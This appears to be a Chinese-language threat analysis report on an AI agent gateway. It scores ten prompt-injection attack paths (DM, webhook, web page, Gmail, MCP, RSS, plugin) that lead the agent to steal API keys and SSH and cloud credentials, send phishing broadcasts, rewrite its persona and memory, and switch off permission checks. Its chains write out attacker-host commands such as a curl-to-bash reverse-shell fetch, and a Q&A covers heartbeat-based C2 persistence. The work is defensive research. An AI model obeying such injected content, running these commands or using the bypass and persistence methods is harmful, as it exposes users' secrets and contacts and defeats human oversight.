OpenClaw v2026.4.21 威胁分析报告

目标:OC0421_WithOfficialCC  ·  版本:v2(2026-05-06) ·  框架:ATA Ontology v6.0 · RiskScore v1.5 · TAG_SYSTEM v2.0
AP 筛选规则:RiskScore ≥ 6.0 OR Novelty ≥ 3;PoisoningEntry × Harm 覆盖 ≥ 5 维度(不放回抽取)
GuardRail: NONE exec: NO-CONFIRM bypassPermissions 20+ 渠道
⚠️ 非标准本体论对象声明(完整 ORP 提案见报告底部): TRG-EVENT-HEARTBEAT(心跳触发器,ORP-OC-01)· Perm-ACT-BYPASS-ALL(全权限绕过,ORP-OC-02)· WorkspaceContextFile(工作区上下文文件,ORP-OC-03)
执行摘要
攻击路径数
10
全部 ≥ RiskScore 6.0
最高 RiskScore(链式)
10.0
AP-OC08(chained, 依赖 AP-OC03)
独立最高危
12.57
AP-OC02(无前提条件)
SC-GAP
3
GuardRail / 语义注入 / 空配置
创新点
7
INN-01~07(含修复项)
ORP 提案
3
心跳触发器 / 全权限绕过 / 工作区文件
Agent 基本信息
Agent 类型
Personal AI Gateway
渠道数量
20+(统一控制平面)
GuardRail
None(SC-GAP-01)
执行沙箱
Docker(无则 full+no-ask)
记忆系统
LongTermMemory(Plugin-based)
心跳机制
TRG-EVENT-HEARTBEAT(C2 向量)
bypassPermissions
可激活(CLI 参数)
工作区文件
8 个(全部直接注入 system prompt)
Top 攻击路径(10 条,RiskScore ≥ 6.0)
AP-OC02
多渠道广播 → 第三方社工攻击扩散
12.57
CRITICAL 无前提条件
PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true) → ShortTermMemory.turn_input → LLM(无 GuardRail) → message(whatsapp/telegram/slack/..., broadcast, phishing_link) → Harm: HV-THIRD_PARTY-ABUSE — 被劫持的 Agent 向全渠道联系人 500+ 人群发钓鱼消息
INJ-CH-DM SK-NET AI-LATERAL-MOVE
资产:MockAgent 全渠道联系人群体(WhatsApp 300+ / Telegram 200+ / Slack 50+) |  hv_typeHV-THIRD_PARTY-ABUSE  |  ∏d:0.42  |  纯危害分:8.5  |  危害分×∏d:3.57  |  Novelty:4
AP-OC05
Webhook Session Key 窃取 → Operator 完全控制
11.59
HIGH 需 allowRequestSessionKey=true
PoisoningEntry: MaliciousWebhookRequest(T-AUTO, 无需用户在线) → WebhookBody → ShortTermMemory.turn_input → hooks.allowRequestSessionKey=true → session key 直接返回响应 → Harm: HV-OPERATOR-CREDENTIALS — Session Key 外渗,攻击者可伪装 Operator 完全控制 Agent
INJ-CH-WEBHOOK SK-INFO TRG-AUTO
资产:OpenClaw Session Key [System.Credentials]  |  hv_typeHV-OPERATOR-CREDENTIALS  |  ∏d:0.72  |  纯危害分:6.375  |  危害分×∏d:4.59  |  可逆:否
AP-OC11
恶意 Web 页面注入 → 用户凭证外渗
10.64
HIGH B1轴·首条主动拉取路径
PoisoningEntry: MaliciousWebPageContent(攻击者发布恶意站点,页面正文/meta 嵌入 payload) → 用户发送 URL:"帮我分析这篇文章 https://attacker.com/article" → browser.fetch("https://attacker.com/article") → ShortTermMemory.tool_result(未净化) → read("~/.openclaw/config.json") [Sink₀ d=0.8] → message(webhook, "https://c2.attacker.com/collect", content=config) [Sink₁ d=0.7] → Harm: HV-USER-CREDENTIALS — OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN 经 webhook 外渗至攻击者 C2
INJ-CH-WEB SK-INFO SK-NET
资产:~/.openclaw/config.json(OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN)[User.Credential]  |  hv_typeHV-USER-CREDENTIALS  |  ∏d:0.56  |  纯危害分:7.225  |  危害分×∏d:4.04  |  可逆:否
AP-OC01
心跳 C2 持久化 → 用户 API 凭证持续外渗
10.59
HIGH 无前提条件
PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true) → ShortTermMemory.turn_input → write(HEARTBEAT.md) → TRG-EVENT-HEARTBEAT: 每次心跳强制重读(DYNAMIC_CONTEXT_FILE_BASENAMES) → read(~/.openclaw/config.json) → message(telegram, @attacker, api_keys) → Harm: HV-USER-CREDENTIALS — OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN 持续外渗至攻击者
TRG-EVENT-HEARTBEAT SK-PERSIST SK-INFO INJ-TECH-WORKSPACE-OVERWRITE
资产:config.json → OPENAI_API_KEY / ANTHROPIC_API_KEY / TELEGRAM_BOT_TOKEN [User.Credential]  |  hv_typeHV-USER-CREDENTIALS  |  ∏d:0.1764  |  纯危害分:9.0  |  危害分×∏d:1.588  |  Novelty:4
AP-OC07
恶意 Plugin 安装 → LongTermMemory 跨会话持久感染
10.47
HIGH 需用户安装恶意 plugin
PoisoningEntry: MaliciousPluginPackage(npm 供应链) → registerMemoryCapability 注册恶意记忆处理 → resolveMemoryFlushPlan → write(MEMORY.md, order=70 最高优先级) → Harm: HV-AGENT-IDENTITY_ABUSE — 恶意处理器持续外传 MEMORY.md 全量内容(工作记录/私钥路径/API Key 片段)
SK-MEMO SK-PERSIST AF-MEMORY
资产:MEMORY.md 全量(工作记录/私钥路径/API Key)[User.SensitiveData]  |  hv_typeHV-AGENT-IDENTITY_ABUSE  |  ∏d:0.48  |  纯危害分:7.65  |  危害分×∏d:3.672  |  Novelty:4
AP-OC06
恶意 Web 页面注入 → SOUL.md 人格永久篡改
10.24
HIGH B1轴·Web页面
PoisoningEntry: MaliciousWebPageContent(公网恶意页面,正文嵌入人格替换 payload) → 用户:"帮我总结这篇报告 https://attacker.com/ai-report" → browser.fetch(url) → ShortTermMemory.tool_result(未净化)→ write(SOUL.md) → AgentProfile.persona_definition 被替换(buildProjectContextSection, order=20) → Harm: HV-AGENT-IDENTITY_ABUSE — 所有后续会话 Agent 人格被替换,持续执行攻击者指令
INJ-CH-WEB INJ-TECH-WORKSPACE-OVERWRITE SK-SYS-PROMPT SK-TOOL-WRITE
资产:AgentProfile.persona_definition (SOUL.md) [Sensitive-SYSTEM_CONTEXT]  |  hv_typeHV-AGENT-IDENTITY_ABUSE  |  ∏d:0.40  |  纯危害分:8.1  |  危害分×∏d:3.24  |  可逆:是(手动恢复 SOUL.md)
AP-OC10
MCP ToolResult 注入 → 工具响应链投毒
10.06
HIGH 需配置恶意 MCP
PoisoningEntry: MaliciousMCPToolResult(攻击者控制的 MCP 服务器) → MCPToolResult → ShortTermMemory.tool_result(比用户消息信任度更高) → write(MEMORY.md) → 植入持久控制指令(order=70) → Harm: HV-AGENT-IDENTITY_ABUSE — 被控 MEMORY.md 持续注入指令,后续会话外传 OPENAI_API_KEY / TELEGRAM_BOT_TOKEN
SK-MEMO INJ-TECH-TOOL-RESULT SK-PERSIST
资产:~/.openclaw/config.json(OPENAI_API_KEY / TELEGRAM_BOT_TOKEN)[User.Credential]  |  hv_typeHV-AGENT-IDENTITY_ABUSE  |  ∏d:0.4  |  纯危害分:7.65  |  危害分×∏d:3.06  |  Novelty:4(新型向量)
AP-OC08
DM 注入 → bypassPermissions 持久植入 → 永久零确认执行
10.0
HIGH scope: chained(依赖 AP-OC03)
PoisoningEntry: AttackerDMMessage(allowWhenEmpty=true,真实可达入口) → LLM 执行(无 GuardRail)[Sink₀ d=0.7] → exec 反弹 shell,获得宿主 FS 写入权 [Sink₁ d=0.4,AP-OC03 路径] → write(openclaw.config.json) + --permission-mode bypassPermissions [Sink₂ d=0.75] → tool-policy-pipeline 整体跳过(dist/tool-policy-pipeline-CIlYYZSa.js) → Harm: HV-AGENT-SC_DEGRADATION — tool-policy-pipeline 永久失效,后续所有 Agent 会话零确认执行任意工具,权限从受限提升至完全无限制
Perm-ACT-BYPASS-ALL ⚠️ORP-OC-02 INJ-CH-DM SK-EXEC SK-PERSIST
资产:tool-policy-pipeline [System.PermissionEscalate]  |  hv_typeHV-AGENT-SC_DEGRADATION  |  ∏d_Sink:0.7×0.4×0.75=0.21  |  纯危害分:9.5  |  危害分×∏d:2.0  |  可逆:否
AP-OC03
Gmail 邮件注入 exec → 宿主系统完全控制
9.8
HIGH hooks.gmail.allowUnsafeExternalContent=true · 宿主无 Docker
PoisoningEntry: MaliciousEmailBody(攻击者发 Gmail,allowUnsafeExternalContent=true) → Gmail.hookBody → ShortTermMemory.turn_input(未净化) → 无 Docker → resolveExecDefaults: security="full", ask="off" → exec("curl attacker.com/shell.sh | bash") → Harm: HV-USER-CREDENTIALS — 反弹 shell 完全控制宿主 OS,外渗 ~/.ssh/id_rsa、~/.aws/credentials、~/Documents/ 全量
SK-EXEC INJ-CH-EMAIL Auth-TYPE-NONE
资产:宿主 OS + ~/.ssh/ + ~/.aws/ + ~/Documents/ [User.Credential + User.SensitiveData]  |  hv_typeHV-USER-CREDENTIALS  |  ∏d:0.28  |  纯危害分:10.0  |  危害分×∏d:2.8  |  可逆:否
AP-OC09
RSS 订阅注入 → SSRF 内网探测 → 内网资产横向移动
9.17
HIGH dangerouslyAllowPrivateNetwork=true · 用户订阅攻击者控制 RSS
PoisoningEntry: MaliciousRSSFeedContent(攻击者控制 RSS 源,item 正文嵌入 SSRF 触发指令) → browser.fetch(rss_url) → RSSFeedItem.content → ShortTermMemory.tool_result(未净化) → browser.fetch("http://192.168.1.1/admin") // SSRF 双跳 → 内网响应 → message(telegram, @attacker, internal_response) → Harm: HV-OPERATOR-PRIV_ESC — 内网服务全量探测,路由/NAS/内部 API 凭证外渗
SK-NET SK-INFO INJ-CH-WEB
资产:内网服务(路由器/NAS/内部 API)+ 内网凭证 [System.Credentials]  |  hv_typeHV-OPERATOR-PRIV_ESC  |  ∏d:0.245  |  纯危害分:6.8  |  危害分×∏d:1.666  |  可逆:否
AP-OC04
Gmail 邮件注入 → 用户私人通讯全量外渗
7.73
MED-HIGH 需 allowUnsafeExternalContent=true
PoisoningEntry: MaliciousEmailBody(攻击者发送邮件) → Gmail.hookBody 未净化注入 ShortTermMemory.turn_input → exec/read 搜索 Gmail → message(email, attacker, extracted_emails) → Harm: HV-USER-PII — 攻击者获取 Gmail 历史邮件 5000+ 封(含密码重置邮件、联系人列表、私人通讯)
INJ-CH-EMAIL SK-INFO SK-NET
资产:Gmail 历史邮件 [User.PII]  |  hv_typeHV-USER-PII  |  ∏d:0.35  |  纯危害分:7.65  |  危害分×∏d:2.678  |  可逆:否
Security Profile 概述
SC 组件 类型 覆盖范围 默认启用 可绕过/禁用 状态
GuardRail(模型级) GuardRail 不存在 SC-GAP-01
allowFrom 渠道鉴权 RulesChecker DM + Group 渠道入口 需配置(空=全放行) allowWhenEmpty=true SC-GAP-03
sanitizeForPromptLiteral RulesChecker 工作区文件 → system prompt 路径 默认启用 仅过滤控制字符,不防语义注入 SC-GAP-02
tool-policy-pipeline RulesChecker 所有工具调用 默认启用 --permission-mode bypassPermissions 可被全绕过
hooks-policy RulesChecker agent ID 白名单 需配置 通配符 "*" 全放行 配置即绕过
webhook rate limiter RulesChecker Webhook 入口 默认 120/min 仅内存,重启清零 持久性弱
wrapUntrustedPromptDataBlock RulesChecker 特定字段(非全量) 部分字段 覆盖面不完整 部分有效
外部情报对比
威胁类型 参考研究 业界已知 OC0421 差异化增量 对应 AP
间接提示词注入 Greshake et al. 2023 广泛研究 工作区文件直接注入 system prompt(更持久);20+ 渠道攻击面 20× 扩增 AP-OC04, AP-OC10
Agent 持久化 C2 业界 2024 记忆写入研究 已知 心跳机制 DYNAMIC_CONTEXT_FILE_BASENAMES 强制重读,无需用户在线;写一次永久执行 AP-OC01, AP-OC06
沙箱逃逸 / 权限提升 AI Coding Agent 分析 2024-25 已知 bypassPermissions 全 pipeline 清空;AP-OC08 链式攻击(chained on AP-OC03),修正后 RiskScore 10.0 AP-OC03, AP-OC08
多渠道横向传播 AgentDojo 2024 Agent间研究 人对人广播(非 Agent 间);20+ 渠道统一平面,单次触发联系人 500+ 受影响 AP-OC02
供应链 Plugin 投毒 ShadowRay / npm 2024 已知 registerMemoryCapability 无签名 → LongTermMemory(order=70) → system prompt 最高优先级 AP-OC07
MCP ToolResult 注入 尚无系统研究 MCP ToolResult 信任度高于用户消息;直接写 MEMORY.md;完整新型向量 AP-OC10
Webhook Session 劫持 部分研究 部分已知 allowRequestSessionKey=true 配置直接返回 session key;T-AUTO 无需用户在线 AP-OC05
ORP 提案(Ontology Reference Proposal)
ORP-OC-01
TRG-EVENT-HEARTBEAT — 心跳触发器
提议将 OpenClaw 心跳唤醒机制作为独立触发类型,区别于用户配置的 TRG-RULE-SCHEDULE。 特征:Agent 系统内置背景唤醒;DYNAMIC_CONTEXT_FILE_BASENAMES 强制重读动态指令文件;无需用户在线。 安全意义:攻击者写入 HEARTBEAT.md 后,每次心跳周期自动执行恶意指令(C2 持久化向量)。 归属:TAG_SYSTEM v2.0 → TRG- 触发机制族。
ORP-OC-02
Perm-ACT-BYPASS-ALL — 全权限绕过
提议将 bypassPermissions 模式作为独立权限标签,区别于单条规则绕过的 Perm-ACT-BYPASS。 激活方式:CLI --permission-mode bypassPermissions / CLAUDE_BYPASS_PERMISSIONS_MODE="bypassPermissions"。 安全意义:tool-policy-pipeline 整体跳过,所有工具调用永远无需确认;危害分 d_Sink 乘数接近 1.0。 归属:TAG_SYSTEM v2.0 → Perm- 权限族。
分析问答(QA)
收录针对本报告威胁分析内容产生的重要概念辨析与延伸问题。
OpenClaw 攻击路径中出现 HeartBeat,Hermes Agent 攻击路径中出现 CronJob,两者都是定时/周期性机制,作为持久化和扩散锚点有何本质差异?OpenClaw 本身也支持 CronJob,它和 HeartBeat 有什么区别?

两者同属 L6 · Scheduler 层,均具备跨重启持久化能力(CronJob 存储于磁盘/配置文件/数据库/K8s CR,重启后 Scheduler 自动恢复;HeartBeat 绑定 lifecycle_hooks,重启后同样自动激活)。持久化能力对等,真正的差异在可移除性与隐蔽性

维度CronJobHeartBeat
持久化(跨重启)✅ 有效✅ 有效
可见性高 — 作为任务条目可列举、可审计低 — 藏在 lifecycle 机制中,看起来是基础设施
可移除性可单独删除,不影响服务运行不能删,删了服务即挂
自复活(Watchdog)有,被 kill 后 watchdog 自动重起
执行频率低频、可预测(cron 表达式)高频持续脉冲,频率异常难察觉
C2 流量掩护无天然掩护,出站流量突发出站流量本身就是"正常心跳",C2 指令可隐藏其中
lifecycle_hooks 绑定是,污染 hooks 后每次重启自动执行

核心结论: CronJob 持久但可拆除,防御方可在不中断服务前提下清除。HeartBeat 持久且不可拆除,攻击者利用"你不能关掉它,否则服务挂"这一约束——作为 APT 持久化锚点威胁等级更高。

Hermes Agent 没有 HeartBeat 机制,是否意味着它缺少同等的持久化攻击面?

Hermes 缺少 HeartBeat 降低了 L6 层持久化风险(无 watchdog 自复活,无 lifecycle_hooks 深度绑定),但存在等价替代面:

LTM 污染路径(L1 层):恶意指令写入 LongTermMemory,每次新会话启动时 Agent 自动加载——效果类似 lifecycle_hooks 污染,但走的是 L1 记忆层而非 L6 调度层。

注:WebSocket 长连接是 OpenClaw 的暴露面(gateway websocket broadcast scope-gating,已在 OC0421 AP 明确记录,v2026.4.21 已修复),并非 Hermes 的能力。Hermes 的 20+ 渠道均为 HTTP/消息推送式,无 WebSocket 常连机制。